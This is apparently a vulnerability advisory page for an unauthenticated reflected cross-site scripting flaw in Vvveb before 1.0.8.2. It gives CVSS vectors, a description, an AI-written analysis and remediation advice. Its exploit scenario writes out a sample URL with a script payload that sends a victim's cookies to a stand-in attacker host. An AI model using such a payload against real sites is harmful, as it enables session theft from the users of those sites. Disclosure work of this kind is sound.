EUVD-2026-28459Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
4DescriptionCVE.org
Vvveb before 1.0.8.2 contains an unauthenticated reflected cross-site scripting vulnerability in the visual editor preview renderer that allows attackers to execute arbitrary JavaScript by manipulating the r query parameter and _component_ajax POST parameter. Attackers can craft a malicious link or auto-submitted form that causes victims to execute attacker-controlled JavaScript in the context of the Vvveb origin, as the gating function isEditor() performs no session, role, or token verification and the view handler injects raw HTML POST body content without sanitization.
AnalysisAI
Unauthenticated reflected cross-site scripting (XSS) in Vvveb before 1.0.8.2 allows remote attackers to execute arbitrary JavaScript in the context of the Vvveb origin by manipulating the r query parameter and _component_ajax POST parameter in the visual editor preview renderer. The vulnerability exploits the absence of session, role, or token verification in the isEditor() gating function combined with unsanitized injection of POST body content, requiring only user interaction to trigger but affecting all versions prior to 1.0.8.2. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | The vulnerability requires (1) the visual editor preview renderer endpoint to be accessible to unauthenticated users, which is the default Vvveb configuration; (2) the r query parameter and _component_ajax POST parameter to be present in the request; and (3) the isEditor() gating function to perform no session, role, or token verification, meaning attackers do not need valid credentials or authentication. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | CVSS 6.1 (AV:N/AC:L/PR:N/UI:R/S:C) indicates network-accessible, low-complexity, unauthenticated exploitation that requires user interaction and crosses security boundaries (Scope:Changed), yielding low confidentiality and integrity impact with no availability impact. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker crafts a malicious URL such as http://victim-vvveb.com/editor?r=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> or an HTML form that auto-submits with a _component_ajax POST body containing raw HTML payload. When a Vvveb user is tricked into clicking the link or visiting a page with the auto-submitted form (via phishing, social engineering, or reflected injection in a search parameter), the isEditor() function allows the request through without authentication verification, and the view handler renders the attacker's JavaScript in the user's browser context, stealing session cookies, performing unauthorized actions, or harvesting sensitive data from the page. |
| Remediation | Upgrade immediately to Vvveb 1.0.8.2 or later to apply the vendor-released patch. … Detailed patch versions, workarounds, and compensating controls in full report. |
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